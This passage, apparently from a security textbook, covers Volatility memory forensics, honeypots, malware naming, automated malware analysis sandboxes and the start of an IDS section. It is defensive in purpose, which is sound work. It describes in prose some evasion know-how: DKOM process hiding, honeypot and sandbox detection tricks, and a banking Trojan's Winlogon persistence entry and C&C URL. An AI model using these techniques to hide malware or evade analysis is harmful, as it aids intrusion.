PsActiveProcessHead

Flink

Blink

Flink

Blink

Flink

Blink

EPROCESS Structures

Exhibit 5-1 The path used by Volatility to locate the EPROCESS object list.
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spoolsv.exe 1528 652 12 111 Tue Dec 01 15:58:56 2009
explorer.exe 1572 1496 10 284 Tue Dec 01 15:58:56 2009
VBoxTray.exe 1644 1572 7 39 Tue Dec 01 15:58:57 2009
alg.exe 780 652 6 104 Tue Dec 01 15:59:07 2009
wscntfy.exe 696 1004 1 27 Tue Dec 01 15:59:09 2009
cmd.exe 984 1572 1 31 Tue Dec 01 16:05:26 2009

win32dd.exe 996 984 1 21 Tue Dec 01 16:05:42 2009

After understanding how the pslist command works, it is possible to 
evaluate why it might not always be reliable. One reason is due to root-
kits that perform direct kernel object manipulation (DKOM). In the 
book Rootkits: Subverting the Windows Kernel, Greg Hoglund and James 
Bulter show how to hide processes by unlinking entries from the doubly 
linked list. The authors overwrite the forward link (Flink) and backward 
link (Blink) pointers of surrounding objects so that they point around 
the EPROCESS object that represents the process to hide. As shown 
in Exhibit 5-2, the overwriting effectively hides a process from any tool 
that relies on walking the linked list, regardless of if the tool runs on 
a live system or a memory dump. Since central processing unit (CPU) 
scheduling is thread based, the hidden process remains running on the 
operating system even when rootkits unlink the EPROCESS objects.

Consider the previous analogy of people joining hands and forming 
a circle to depict the doubly linked list depicted in Exhibit 5-1. If one 
person releases both hands to step outside the circle (see Exhibit 5-2), 
the people on the left and right will join hands and close the gap. The 

Flink

Blink

Flink

Blink

Flink

Blink

Exhibit 5-2 An EPROCESS object removed from a doubly linked list.
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disconnected person does not disappear; instead, he or she is now free 
to walk about the room. Counting people using the original method 
will result in one fewer person; however, by changing techniques and 
scanning the entire room using a thermal imaging device, the results 
would be accurate, even if one or more people were no longer standing 
in the circle.

The Volatility command psscan2 is not exactly a thermal imaging 
device, but it works similarly in theory. Instead of walking the linked 
list of EPROCESS objects like pslist, psscan2 scans linear memory 
for pools with the same attributes (paged versus nonpaged, tag, and 
size) that the kernel uses for EPROCESS objects, and then applies a 
series of sanity checks. This way, psscan2 is able to find EPROCESS 
objects in memory even if a rootkit has unlinked it from the list. The 
same concept applies to finding hidden kernel drivers, sockets, con-
nections, services, and various other kernel objects.

5.1.7 Volatility Analyst Pack

Volatility Analyst Pack (VAP)7 is a collection of plug-ins designed for 
malware analysis and rootkit detection. Table 5-3 describes the pur-
pose of the plug-ins and their statuses. If the status is “Public,” then 
the plug-in is publicly available. If the status is “By request,” then the 
plug-in is currently only available to iDefense customers upon request 
(BETA mode).

5.1.8 Conclusion

Memory forensics is a rapidly growing aspect of incident response and 
malware analysis. Its powerful default capabilities can replace 10–20 live 
system tools, not to mention the features provided by third-party plug-
ins such as VAP. Although there are several options, iDefense recom-
mends the free, open-source Volatility framework, which also provides 
an analyst with the opportunity to learn about the operating system.

5.2 Honeypots

Creating an asset to attract malicious activity for monitoring and early 
warning is a well-established activity. Not only do honeypots, isolated 
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technical assets configured with a high level of logging, provide valu-
able attack data for analysis, but security analysts also periodically use 
them as decoys that deliberately contain known vulnerabilities. When 
deployed as a distinct network, known as a honeynet, a firewall is 
specially configured to collect and contain network traffic. The place-
ment and configuration of a honeypot largely determine its success, 
and because malicious activity is likely to occur, it is crucial that it be 
isolated from true IT assets and legitimate traffic.

Network and information security relies on in-depth defenses to 
limit unauthorized access and dissemination of sensitive informa-
tion. These in-depth defenses provide a hardened posture but give no 
insight on vulnerabilities and other weaknesses exploited by attackers 

Table 5-3 Plug-In Statuses and Descriptions

NAME STATUS DESCRIPTION

apihooks Public Detects Import Address Table (IAT), Export Address Table (EAT), 
and inline API hooks in user mode processes and kernel drivers.

callbackscan By request Scans for callback objects; this can expose rootkits that register 
system-wide notification routines (see notify_routines below).

csrss_pslist By request Detects hidden processes with csrss.exe handles and 
CsrRootProcess links.

debugged By request Detects debugged processes; this can expose attempts for 
malware to perform self-debugging, which is a common 
antidebugging trick.

desktopobjscan By request Links desktop objects with Window stations and owning 
processes; this technique can expose malware that uses 
hidden windows.

driverirp Public Detects attempts to hook drivers by printing input–output 
request packet (IRP) function addresses.

idt Public Detects attempts to hook the interrupt descriptor table (IDT)
impscan By request Scans unpacked user mode processes and kernel drivers for 

imported API functions; this can help rebuild dumped code for 
static analysis.

ldr_modules Public Detects unlinked (hidden) DLLs in user mode processes.
malfind2 Public Detects hidden and injected code.
notify_routines By request Detects thread, process, and image load notify routines—a 

technique used by rootkits such as Mebroot, FFsearcher, 
Blackenergy, and Rustock.

orphan_threads Public Detects hidden kernel threads and carves out the rootkit code.
svcscan By request Detects hidden services by scanning for SERVICE_RECORD 

structures.
windowstations By request Scans for Window station objects that can expose rogue terminal 

services and Remote Desktop Protocol (RDP) sessions.
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in the wild. This lack of visibility requires a reactive approach to a 
security incident, which is a norm within the IT security field as a 
whole. An ideal approach involves proactive measures using knowl-
edge and information of upcoming vulnerabilities, malicious code, 
and attackers to build up defenses prior to an incident. One method of 
obtaining the necessary data to create safeguards requires sacrificing a 
specially configured system, known as a honeypot, to lure in malicious 
activity for analysis.

A honeypot is an information system resource whose value lies in 
unauthorized or illicit use of that resource.8 A honeypot is a concept that 
capitalizes on the isolation of a resource and subsequent activity that 
interacts with the resource. Designed to resemble an interesting target 
to attack, probe, exploit, or compromise and configure with a high level 
of logging, honeypots attract attackers and malicious code to capture 
their activity for analysis. Honeypots thrive in isolated environments 
because they have no production value or business purpose and all activ-
ity observed is suspicious. Placement of these resources is important to 
minimize the amount of legitimate or unintentional traffic.

Honeypots are beneficial if properly deployed and maintained. The 
fact that honeypots resemble an easy target may act as a decoy to keep 
attackers from attacking production systems. Honeypots also provide 
data and insight on who attacks those honeypots and on attack strate-
gies used during exploitation. If properly handled and left untainted 
while gathering, these data can provide evidence in an incident inves-
tigation in the form of digital fingerprints. Another benefit results in 
the building of safeguards in production security defenses to mini-
mize the threat of attacks and targets based on the information gath-
ered from the honeypot.

Honeypots fit into two different classifications based on the level 
of system interaction available to the attacker. Low-interaction hon-
eypots emulate vulnerable services and applications to entice inbound 
exploit attempts from attackers. Emulation occurs by mimicking 
real network responses to inbound connections allowing an attack to 
progress to completion. The attacks do not compromise the honey-
pot because the honeypot itself is not vulnerable; rather, it follows 
along by emulating vulnerabilities. Logs of the activity capture the 
exploit attempt, and postattack analysis provides information to pro-
tect other production devices from falling victim to the attack. The 
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second type of honeypots, known as high-interaction honeypots, utilize 
actual services and vulnerabilities to attract inbound attacks. The use 
of real services provides detailed information on the steps involved in 
exploitation and the postcompromise activity. This type of honeypot 
requires close and constant observation because the system is likely 
to fall victim to compromise. High-interaction honeypots also need 
extra security measures to contain subsequent attacks or malicious 
code propagation.

The two types of honeypots have strengths and weaknesses that 
need consideration before deployment. Emulation keeps the low-
interaction honeypots relatively safe from compromise and lowers the 
amount of effort required for maintenance. Low-interaction honeypots 
have limited data logged, reducing analysis time; however, emulation 
requires prerequisite knowledge of vulnerabilities and cannot capture 
attacks on unknown vulnerabilities. A drawback to a lack of compro-
mise is a limited amount of data available after an attack is attempted. 
High-interaction honeypots provide more information on malicious 
activity than low-interaction honeypots but require more resources 
to analyze and maintain. Creating and maintaining a high-interac-
tion honeypot consume significant resources because they typically 
involve customized technologies such as firewalls, intrusion detection 
systems (IDSs), and virtual machines, which need frequent rebuilds 
after compromise. Honeypot analysis consumes large quantities of 
time and resources, as this type of honeypot logs the full attack and 
subsequent activity, not just the initial inbound connection; however, 
after an attack, the system will remain compromised and will require 
cleansing. A heightened level of risk is involved with a compromised 
honeypot because the attacker can launch further attacks on other 
systems. Investigations would show the honeypot as the source of the 
attack, which raises legal concerns.

Many commercial and open-source honeypot solutions are avail-
able and vary in intended use. Typically, honeypots act as a decoy to 
lead attacks away from production systems. Specter, a commercial 
honeypot, is an example of a low-interaction honeypot that adver-
tises vulnerabilities and acts as a decoy and data collection solution.9 
A collection of honeypots used to simulate a network of systems, 
known as a honeynet, requires a system called a honeywall to capture 
and analyze the data on the network and contain the risks presented 
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by these high-interaction honeypots.10 Exhibit 5-3 shows a honey-
net’s infrastructure, including the honeynet gateway residing in the 
demilitarized zone (DMZ) to expose its vulnerable infrastructure for 
inbound attacks.

Honeypots can also collect malicious code. Applications like 
Nepenthes also advertise vulnerabilities and capture and download 
malicious code or analyze shellcode resulting from exploitation. 
Nepenthes also includes submission modules to submit captured mali-
cious code to a number of other servers including Norman’s SandBox 
for analysis.11 Honeypots also have the ability to track spam e-mail. 
Honeyd, a lightweight honeypot daemon configured to simulate a 
mail relay or open proxy, captures e-mail spam for tracking and spam 
filter creation.12 Honeypots are not limited to servers capturing infor-
mation regarding malicious activity. Capture-HPC13 and MITRE’s 
Honeyclient14 are client-based honeypots that act as clients interacting 
with malicious servers to download malicious code and log changes 
made to the system. For more honeypot-related applications, the 
Honeynet Project offers a list of projects available for download.15

The legality of honeypot deployment is under constant debate and 
generally involves discussions on entrapment, privacy, and liability. 
Entrapment occurs when a law enforcement officer or agent induces 
a person to commit a crime that the person would be unlikely to 

Production
Network

Production
Router

DMZ

Attacks
Honeynet
Gateway

Honeypot
Database Server

Honeypot
E-mail Server

Honeypot
Web Server

Honeyclient Honeyclient

Internet

Exhibit 5-3 A honeynet infrastructure.
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commit. Entrapment does not apply to honeypots, as they do not 
induce the attacker to break into the system. In addition, entrap-
ment is a defense to a crime, meaning one cannot sue another for this 
reason. Privacy raises a big issue with honeypots in regard to log-
ging information on attackers. The Federal Wiretapping Act and the 
Electronic Communication Privacy Acts, among others, come into 
play when logging an attacker’s activity. Typically, a logon banner 
stating that the server monitors and logs activity proves enough for to 
waive attackers’ privacy laws. Liability in the event of a compromised 
honeypot used to attack another system is a major legal concern.16 
Consultation with a legal team can reduce the occurrence and impact 
of these legal issues before deploying a honeypot.

Honeypots lure attackers into performing malicious actions within 
their systems for information-gathering purposes; however, seasoned 
attackers can detect a honeypot. An attacker who knows that he or 
she is in a honeypot will not perform the malicious activity that the 
honeypot intends to catch, or he or she avoids the honeypot’s abil-
ity to log activity before he or she performs the activity. Honeypot 
detection techniques range in complexity and depend on the hon-
eypot technology in use. Emulated services used in low-interaction 
honeypots may not perform exactly as the real service does. An 
attacker can use comparative analysis between a real service and an 
emulated service to detect a honeypot. The detection methods for 
high-interaction honeypots include virtualization checks, network 
traffic modification, and latency checks. Most high-interaction hon-
eypots run in a virtualized environment, which allows attackers and 
malicious code to check for strings and environmental settings to 
fingerprint a honeypot. An example of an environmental setting used 
in a virtualized system is registry values added for virtual devices 
required for the guest OS to utilize hardware. Honeynets require 
data control to limit outbound attacks, and analyzing outbound net-
work traffic for modification or connection blocking is an indication 
of a honeynet. For example, honeynets typically employ snort inline 
to scrub outbound attacks, and a popular test attempts to run /bin/
sh on an external host to see if a snort modifies the packet or drops 
the connection. High latency from communication tests can provide 
an indication of a honeypot using logging modules. Modules used for 
logging typically log all activity performed on the system; therefore, 
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running instructions that increase the load on the system results in 
network latency. A common example of this detection method uses 
the dd command to copy an endless amount of data to /dev/null, 
which produces overwhelming amounts of data for the honeypot to 
log. The ping command can check the network latency during the 
heavy load that the dd command invokes.

Honeypots provide security professionals and network administra-
tors with information on state-of-the-art attack techniques seen in 
the wild. Using this information to implement security safeguards 
strengthens a network’s posture and reduces exposure to threats. 
Proactive responses to threats and attacks are possible with obtained 
information, which makes honeypots valuable tools to help survive 
the malicious nature of the Internet.

5.3 Malicious Code Naming

This section clarifies the malicious code–naming conventions within 
the industry, which can be confusing and difficult to reference. The 
differences in procedures used by antivirus tools and those used by ana-
lysts are at the heart of the problem. This section also discusses in depth 
this and other challenges to naming malicious code consistently.

Many security researchers and administrators confuse viruses with 
one another because of the way that antivirus companies name or refer 
to them. There are several reasons for the confusion, and a few orga-
nizations are trying to improve the currently dismal state of malicious 
code naming in the antivirus industry. Some basic tools and advice can 
help administrators determine whether they, in fact, are dealing with a 
generic virus name or one that accurately describes the entire malicious 
code family. Administrators might expect that antivirus detection 
names would be a good metric to determine the malicious code fam-
ily; however, this is often not an accurate or reliable measurement. The 
media and researchers often tend to use different names, sometimes 
even within the malicious code itself, while other professionals may 
alter or hide the true name of the virus for their own reasons. Many 
factors make analysts the best sources for determining the name of a 
malicious code over any other currently available automatic solution.

iDefense analysts usually assign a malicious file a new name when 
nothing previously describes it or when it provides a more valuable 
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reference point. Other organizations may have different policies about 
renaming viruses when they create detections for them because it 
prevents the revealing of new hacking tools and techniques to attack-
ers. Similarly, attackers can insert fake authors, tool names, or other 
details to confuse analysts. To determine if a malicious program 
already has a malicious code name, analysts can use online virus-
scanning services such as Virustotal or av-test.org. As an example, 
Exhibit 5-4 displays the results of such a scan showing the detection 
for a typical banking Trojan.17

In these Virustotal results, seventeen out of thirty-eight (44.74 
percent) antivirus engines detect this file as malicious. Despite the 
average rate of detection from various antivirus companies, none of 
them indicates either the true name of the virus family or the fact 
that its purpose is to target banks. Naming a malicious file using 
this technique is highly likely to be wrong or too generic to convey 
any useful information; however, it is very easy and quick for anyone 
to do. It does not require any understanding of the code or its pur-
pose. Despite weaknesses in this technique, administrators may be 
able to use detection names to research the threat further and poten-
tially identify a similar threat and malicious behavior. This is not 
completely reliable because signatures often detect generic threats, 

ANTI-VIRUS VENDOR VIRUS NAME

AntiVir 
Avast 
AVG 
BitDefender 
ClamAV 
DrWeb 
F-Secure 
GData 
Kaspersky 
McAfee+Artemis 
Microsoft 
NOD32 
Panda 
SecureWeb-Gateway 
Sophos 
TrendMicro 
VBA32 

DR/Delphi.Gen 
Win32:Trojan-gen {Other} 
VB.FTL 
Trojan.AgentMB.CSDN4118442 
Trojan.Downloader-35380 
Trojan.MulDrop.origin 
Suspicious:W32/Malware!Gemini 
Trojan.AgentMB.CSDN4118442 
Trojan.Win32.VB.ieq 
Generic!Artemis 
VirTool:Win32/CeeInject.gen!J 
probably a variant of Win32/Injector.DV 
Suspicious file 
Trojan.Dropper.Delphi.Gen 
Sus/Dropper-R 
WORM_SOBIG.GEN 
Trojan.Win32.VB.ieq 

Exhibit 5-4 An antivirus scan of a typical banking Trojan.
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packed or hidden code, and behavior rather than malicious code 
names that convey the most information. As an example, an anti-
virus product may name two different files the same if they down-
load additional functiality (downloaders) or if the antivirus engine 
detects the same type of packer used against two completely different 
threats. Using automatic programs such as antivirus programs is a 
useful preliminary step to help determine the risk of a malicious file, 
but such programs are not as accurate or reliable as reverse engineer-
ing or behavioral analysis. The signatures are a technique for analysts 
to write and improve detection of threats but may not require the 
engine or analyst to analyze the purpose of the code. Antivirus scan-
ning products have a one-to-one relationship between a signature 
and a detection name. This helps them track alerts from customers 
but often does little to help customers understand the nature of the 
threat, especially with generic signatures.

There are many reasons for the differences between the naming 
that researchers and reverse engineers use compared to that of auto-
matic antivirus scanning products. Analysts do not suffer from many 
of the same problems because they are able to collect and inspect 
many different things that are not available to antivirus products. 
Observing network traffic, modified or created files, memory con-
tents, and other information from reverse engineering the binary 
or the propagation technique allows analysts to more accurately 
identify and name malicious files; however, such naming is still 
imperfect. The detection of the banking Trojan, mentioned above, 
carries just as many different and unique names that researchers use 
to describe it. Researchers commonly refer to this particular code 
as wsnpoem/ntos, Zeus/zbot, and PRG. This type of naming depends 
upon awareness rather than an automated tool, and is therefore sub-
ject to human error or purposeful renaming when multiple research-
ers are to assign different names. Multiple names could be the result 
of private information. For instance, iDefense names new viruses 
when there is no public information available for them; however, 
when a public analysis or virus name becomes available, it becomes 
necessary to identify that both threats are, in fact, the same based 
upon behavior or other attributes.

Antivirus names use many different categories, and they all follow 
the same format:
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Family_Name.Group_Name.Major_Variant.Minor_
Variant[:Modifier]18

Although this format is common, many antivirus vendors have a lot of 
flexibility when they name a new virus, including the family, group, 
and variant names. Common types include generic or heuristic (heur for 
short) in their names. Administrators should understand the meaning 
of antivirus product naming that they use in their environments by 
referring to naming documentation from vendors.19

Other virus names may originate through an analyst’s creativity or 
a virus’s circumstances. For instance, the W32/Nuwar@mm threat 
actually originated from e-mails that initially spread using the atten-
tion-grabbing headline “Nuclear War.” Researchers know this threat 
better as “Storm Worm” because it also spread using a different e-mail 
subject line, such as “230 dead as storm batters Europe.” In fact, the 
community disputed the naming of this particular virus as a worm 
because it spreads using massive e-mail campaigns.

There is also some disagreement between different organizations 
on whether to depend upon attacker-supplied information to name 
viruses. Some researchers argue that hiding the names can protect 
the innocent, for instance if the attacker artificially inserts an enemy’s 
name or website out of spite. Hiding real names or mutating them 
also attempts to hide origin. This prevents attackers from identify-
ing new tools from new virus names. Mutating names can also help 
protect an innocent website or avoid giving out information that may 
allow new attackers to locate public tools. For example, Brian Krebs 
of the Washington Post documented one such incident related to the 
virus named Blackworm, Nyxem, My Wife, and Kama Sutra. The 
origins of each name are clear if you understand how the malicious 
code works, but it can often be difficult to determine that they are, in 
fact, equivalent threats (see Exhibit 5-5).

VIRUS NAME EXPLANATION

Blackworm Creates \WINDOWS\system32\About_Blackworm.C.txt

Nyxem Target the New York Mercantile Exchange (Nymex)

My Wife/Kama Sutra Subjects surrounding the e-mail attacks

Exhibit 5-5 Virus names and their explanations.
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Different goals and perspectives influence the naming of viruses 
and may encourage researchers to invent new names even when an 
existing name is already available. According to Brian Krebs, Nyxem 
was derived by transposing the letters m and x in Nymex, a shorthand 
term for the New York Mercantile Exchange.20

Virus names are often cryptic on purpose because of a lack of 
verifiable information. Overlapping names can further confuse nam-
ing when an antivirus product assigns a well-known name to a new 
or unknown virus. For example, iDefense analyzed a Chir.B worm 
variant in 2007 that the Avast antivirus scanning engine determined 
was a much older threat called Nimda (or Win32:Nimda [Drp]). The 
reason for the alert is that the signature detected the behavior of the 
file-infecting worm functionality and assigned an older name that 
has the same behavior. The detection of new threats is commendable 
using older signatures, but it is clear that rule writers are not able 
to express themselves sufficiently to tell users what an alert actually 
means and whether it detects a behavior, a particular virus, or some-
thing else. Analysts cannot predict the future evolution of viruses; 
therefore, it is difficult to choose names reliably that will not detect 
multiple threats.

The Common Malware Enumerations (CME) list, while encour-
aging in its early days, never reached a critical mass and was not sus-
tainable with the large volume of new viruses and limited resources. 
It provided a catalog of thirty-nine total different threats over several 
years with naming from various antivirus vendor names and virus 
descriptions. Although using this as a tool to investigate potential 
virus names and families can be useful to administrators, it has been 
largely neglected during the last two years according to the CME web-
site.21 Groups like the Computer Antivirus Researchers Organization 
(CARO) have experienced similar problems when attempting to stan-
dardize the naming of viruses.22

5.3.1 Concluding Comments

Administrators should attempt to understand abbreviations and stan-
dard naming conventions for incidents because it may help them look 
for certain behavior or ask questions; however, dependence on virus 
naming is not reliable or capable of conveying enough information to 
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be very useful. Analysts and reverse engineers are still the best sources 
for identifying virus families because of the high variation of names 
assigned to viruses. Extensive research, including reverse engineer-
ing and behavioral analysis, is usually necessary to determine how to 
name a threat accurately.

5.4 Automated Malicious Code Analysis Systems

The massive volume of distinct pieces of malicious code in existence 
exceeds the capacity of human analysts. Fortunately, researchers 
can automate much of the initial analysis. This automation allows 
much greater efficiency and prioritization of analysis of malicious 
code samples.

With attackers producing tens of thousands of new pieces of mali-
cious code every day,23 it is impossible to analyze each sample by 
hand. Behavioral analysis, the process of running an executable in 
a safe environment and monitoring its behavior, is one way to deter-
mine what malicious code does. Automated malicious code analysis 
systems (AMASs) perform this process quickly and efficiently to pro-
duce a report that a human analyst can use to determine what actions 
the malicious code took. In this section we explore the advantages 
and disadvantages of different techniques used by AMASs to analyze 
malicious code.

In recent years, researchers have built many AMASs that differ 
in capability and analysis techniques but all operate under the same 
principle. To be effective, malicious code has to perform some action 
on the infected system, and monitoring the malicious code’s behav-
ior is a useful way to determine the malicious code’s functionality. 
Behavioral analysis cannot determine everything that malicious code 
is capable of, but it can tell you what malicious code will do under 
certain circumstances. There are two main techniques to analyze the 
behavior of malicious code:

 1. Passive analysis: Record the state of the system before and 
after the infection. Then, compare these states to determine 
what changed.

 2. Active analysis: Actively monitor and record malicious code 
actions during execution.
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5.4.1 Passive Analysis

Passive analysis is the hands-off approach to behavioral malicious code 
analysis. All it requires is a computer to infect, some way to capture 
the state of that computer, and a way to restore the system to its origi-
nal state. Passive analysis systems work in the three-stage cycle shown 
in Exhibit 5-6. First, someone installs the operating system and any 
necessary applications on a computer, recording the “clean” state. The 
recorded information includes any features of the system that mali-
cious code might alter, such as the file system and Windows registry.

Second, the malicious code in question is executed on the system 
for a period of time. The amount of time depends on how quickly the 
analysis must be performed. Two- to three-minute runtimes are com-
mon, as this is normally a sufficient amount of time for the malicious 
code to complete its initial installation.

After the malicious code infects the system, it must be shut down 
before an external system analyzes its disk and memory to record the 
new “infected” state. An external computer may be used to record the 
infected system’s state to avoid any interference from the malicious 
code. Malicious code often hides files and processes from the user 
using rootkits, but an external system (such as a virtual machine host 
or a system working from a copy of the infected disk) is not suscep-
tible to this interference.

During the analysis stage, the external system compares the 
infected state to the clean state already recorded. AMASs can make 
comparisons between any features of the system that have a state. 
Common analysis features include the following:

Analysis Infected

Clean

Exhibit 5-6 An automated malicious code analysis cycle.
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• File system
• Windows Registry content
• Running processes
• Listening ports
• Memory contents

The comparison between the clean and infected states is where 
the passive analysis system shines. The analysis typically consists of 
two stages (see Exhibit 5-7). In the first stage, it compares the clean 
and infected states and creates a list of all changes in the monitored 
features. While it may seem that this list of changes is sufficient, it 
is important to remember that while the malicious code was infect-
ing the system, Windows was also performing thousands of tiny 
tasks that might also make changes to the file system. This is espe-
cially true if anyone has rebooted the system since the original clean 
state was recorded, as might be the case in analysis systems that 
use physical hardware. To filter out these nonmalicious changes, the 
system uses a second stage (middle section) to remove all entries 
that are included in a predefined white list. The result is a report that 
contains all changes on the system that are relevant to the malicious 
code analysis.

In addition to static information about the malicious code (file 
name, size, and MD5), the resulting report might contain the follow-
ing information:

Infected

Clean

Changes

White List

Relevant
Changes

Exhibit 5-7 A passive analysis comparison process.
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New files:
• C:\WINDOWS\system32\lowsec\user.ds
• C:\WINDOWS\system32\lowsec\local.ds
• C:\WINDOWS\system32\sdra64.exe

Registry modifications:
• Key: HKLM\software\Microsoft\Windows NT\

CurrentVersion\Winlogon
• Old Value: “Userinit”=“C:\\WINDOWS\\system32\\

userinit.exe”
• New Value: “Userinit”=“C:\\WINDOWS\\system32\\

userinit.exe, C:\\WINDOWS\\system32\\sdra64.exe”

This information shows us that not only did the malicious code create 
three new files but also it altered the Windows Registry so that the 
file sdra64.exe is run when the user logs on to the system.

Passive analysis systems also frequently include network monitor-
ing, as long as the monitoring system occurs outside of the infected 
system. Network traffic is a key component to many AMASs because 
it includes any external communication the malicious code might 
make and reveals the source of the malicious code’s command-and-
control (C&C) server if one exists. In the mentioned example report, 
analysis of the network traffic revealed that the URL visited was 
http://index683.com/varya/terms.php.

Knowing that the malicious code visits this particular website is 
very valuable. Security personnel can search proxy logs for any systems 
that visited this site to pinpoint infected systems. Blocking access to 
this URL will also help prevent the malicious code from conducting 
its malicious activity.

Malicious code cannot typically detect a passive analysis system 
because the system does not interfere with its operation. Malicious code 
can make passive systems ineffective by taking advantage of the sys-
tem’s analysis timeout. If the system only allows the malicious code to 
run for three minutes before recording the infected state, the malicious 
code could simply sleep for four minutes before taking any action.

While passive analysis is simple, it cannot tell the malicious code’s 
entire story. For instance, if the malicious code creates a temporary file 
while installing its components and then deletes that file before the 
system captures the infected state, the analysis report will not include 
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this evidence. Passive monitoring also fails to capture the timeline of 
the infection. The sample report above shows that the malicious code 
creates three files, but it does not show the order in which the mali-
cious code created them. It is possible that the malicious code created 
sdra64.exe first, and that executable created the additional files. To 
capture this information, the system must actively monitor the mali-
cious code.

5.4.2 Active Analysis

Unlike passive systems, active analysis AMASs install software on 
the soon-to-be-infected system that monitors the malicious code and 
keeps a log of its activity. This process creates a much more complete 
report that can show the order in which the malicious code made 
changes to the system during the infection and can record which 
specific process took each action. Some may classify many modern 
Trojans as downloaders, as their primary functionality is to download 
and execute a secondary payload. Active analysis systems can differ-
entiate between files and registry keys created by the downloader and 
those created by the new file. This functionality is one way that active 
systems provide much more detail than a passive system ever could.

One way that active systems monitor malicious code activity is 
through a process known as application program interface (API) hook-
ing. An API hook allows a program to intercept another application’s 
request for a built-in Windows function, such as InternetOpenUrlW(), 
which applications use to make requests for Web pages. API hooking 
is a technique often used by rootkits because it allows malicious code 
to not only record what the user is doing but also alter the data sent 
to and returned by the API function. A rootkit might use this to hide 
the presence of particular files or ensure that the user does not stop 
any of its malicious code processes.

Active analysis systems can install their own rootkits that hook 
the APIs that the malicious code will use, allowing it to keep track 
of every API call the program makes. If malicious code can detect 
the AMAS processes, it could simply exit without taking any actions 
that would reveal its functionality. This is the primary disadvantage to 
active systems, but a well-written rootkit can hide its own processes to 
prevent the malicious code from detecting it and altering its behavior. 
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Active systems are not vulnerable to the same waiting technique that 
malicious code uses to fool passive systems. An active analysis rootkit 
can hook the sleep()function that malicious code uses to delay execu-
tion and then alter the amount of time the malicious code sleeps to 
just 1 millisecond.

Active analysis systems also work in a cycle between clean and 
infected states, but do not require a comparison of the clean and 
infected states to perform their analysis. After the malicious code 
completes execution or runs for the maximum time allowed, the sys-
tem records the activity in a report and begins restoring the system to 
the clean state.

Another form of active analysis involves using an emulator rather 
than infecting a traditional operating system (OS). The most promi-
nent emulation-based analysis system is the Norman SandBox.24 
Instead of installing a rootkit and hooking the Windows APIs, 
Norman created software that emulates the Windows OS. When 
malicious code running in the Norman SandBox makes a call to the 
sleep()function, it actually calls a Norman function that acts just like 
the Windows sleep()function. Malicious code can detect emulated 
systems if they do not perfectly mimic the operating system’s API, 
and malicious code authors frequently attempt to evade these systems. 
The main advantage of emulated systems is speed. Emulated systems 
do not require swapping between a clean and infected state and can 
run the malicious code faster than a standard OS because they do not 
need to provide full functionality of each API; they need merely to 
emulate the OS in a convincing way. For any organization that pro-
cesses thousands of samples each day, speed is a key factor in rating 
an AMAS.

5.4.3 Physical or Virtual Machines

For nonemulated AMASs, both passive and active, analysis time is 
spent in two primary categories. First, time is spent allowing the 
malicious code to execute. If the runtime is too short, the analysis 
might miss a critical step taken by the malicious code, but the more 
time allotted for the malicious code to run, the longer the system 
takes to generate a report. The second major source of analysis time 
is restoring the infected system to a clean state. This must be done to 
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prepare the system for the next analysis and makes up a significant 
portion of the analysis time.

Virtualization systems like VMWare and VirtualBox have many 
features that make them an excellent choice when developing an 
AMAS. These programs allow a user to run one or many virtual 
computer(s) on top of another OS. Researchers use these systems 
to run many analysis instances on a single physical computer, sav-
ing time, power, and money. Virtual machines (VM) also have the 
ability to store a clean “snapshot” of the operating system. After the 
analysis is complete, restoring the system to the clean snapshot typi-
cally takes less than 30 seconds; however, as with active analysis sys-
tems, it is possible for malicious code to detect that it is running in 
a VM and alter its execution path to trick the system into producing 
an inaccurate report. One recent example of VM-aware malicious 
code is Conficker, which did not execute in VMs in order to increase 
analysis difficulty.

Physical machines are not as simple to restore compared to their 
virtual counterparts, but there are multiple options available. One 
possible solution is Faronics DeepFreeze.25 DeepFreeze is a Windows 
program that allows administrators to revert a system to a clean state 
each time it reboots. Internet users at universities and Internet cafes, 
where many users access the same pool of computers, commonly use 
DeepFreeze. iDefense tested DeepFreeze for use in one sandbox and 
found that it was not sufficient to prevent malicious code from alter-
ing the system. Software solutions are not reliable for this purpose 
because malicious code can disable them or use methods to write to 
the disk that the software does not monitor.

CorePROTECT makes a hardware product named 
CoreRESTORE that acts as an interface between a computer’s inte-
grated drive electronics or advanced technology attachment (IDE/
ATA) controller and hard drive (Exhibit 5-8).26 CoreRESTORE 
prevents the system from making any changes to the disk but returns 
data as though someone already altered the disk. This solution is effec-
tive but is only available for systems that use IDE/ATE interfaces. 
A third solution is to save a complete copy of the system’s hard drive 
in a clean state and write this copy to the system’s disk each time a 
restoration is necessary. Joe Stewart of SecureWorks first introduced 
this method in The Reusable Unknown Malware Analysis Network 
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(TRUMAN) system, and iDefense currently uses this method in its 
Malcode Rapid Report Service (ROMAN). This method takes two 
to three minutes per analysis but is undetectable by malicious code 
and ensures that each analysis begins with a known clean image.

Pure passive and active analysis systems are common, but there is 
no reason that a single system cannot employ techniques from both 
categories. iDefense is currently developing a new AMAS known 
internally as Automal, which uses a combination of passive and active 
analysis using a custom rootkit. The primary functionality of Automal 
is based on memory forensics using custom plug-ins for the Volatility 
framework.27 Memory forensics is relatively new in the world of 
AMAS but allows systems to discover critical information about data 
and processes that are hidden from tools running on an active system 
and show no evidence in features typically monitored by passive sys-
tems. Automal runs Volatility on a snapshot of the infected system’s 
memory when the system is offline, which prevents the malicious 
code from detecting it or changing tactics based on its use. AMASs 
are valuable tools to anyone who regularly analyzes malicious code, 
not just to those who process thousands of samples per day. Many 
organizations do not have the resources or need to develop their own 
AMASs. Fortunately, many are available free online. Table 5-4 shows 
some of the most popular AMASs currently available.

Each system uses a different analysis mechanism and may return 
different results. Submitting files to multiple systems can be ben-
eficial since the combination of the resulting reports may be more 

Exhibit 5-8 A CoreRESTORE ATA/IDE bridge.
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complete than what a single system can produce. Using AMAS is 
an excellent first step during any malicious code investigation, as a 
fully automated analysis can be performed quickly and requires little 
human interaction.

5.5 Intrusion Detection Systems

Network security encompasses any safeguards deployed to increase 
the safety of interconnected systems and the information that tra-
verses the network between these systems. Connecting computers 
allows for communication and the exchange of information, but also 
exposes these computers to threats from remote locations. This expo-
sure to external threats needs a monitoring and detection solution to 
ensure the safety of interconnected systems. In this section, iDefense 
describes a network detection solution called an intrusion detection 
system (IDS).

Every day, new vulnerabilities and malicious code threaten sys-
tems on networks. The constant update of threats requires strenu-
ous patching schedules and antivirus updates. Patching and antivirus 
updates in an enterprise environment take time, which prolongs the 
period in which devices are vulnerable. In the event that no patch 
exists for a given vulnerability (such a case is known as a zero-day 
vulnerability), devices are vulnerable for an even longer period while 
the vendor develops a patch. There is a need for systems to detect 
vulnerabilities and malicious code activity during these vulnerable 
periods. An IDS can satisfy this need very quickly, as these devices 
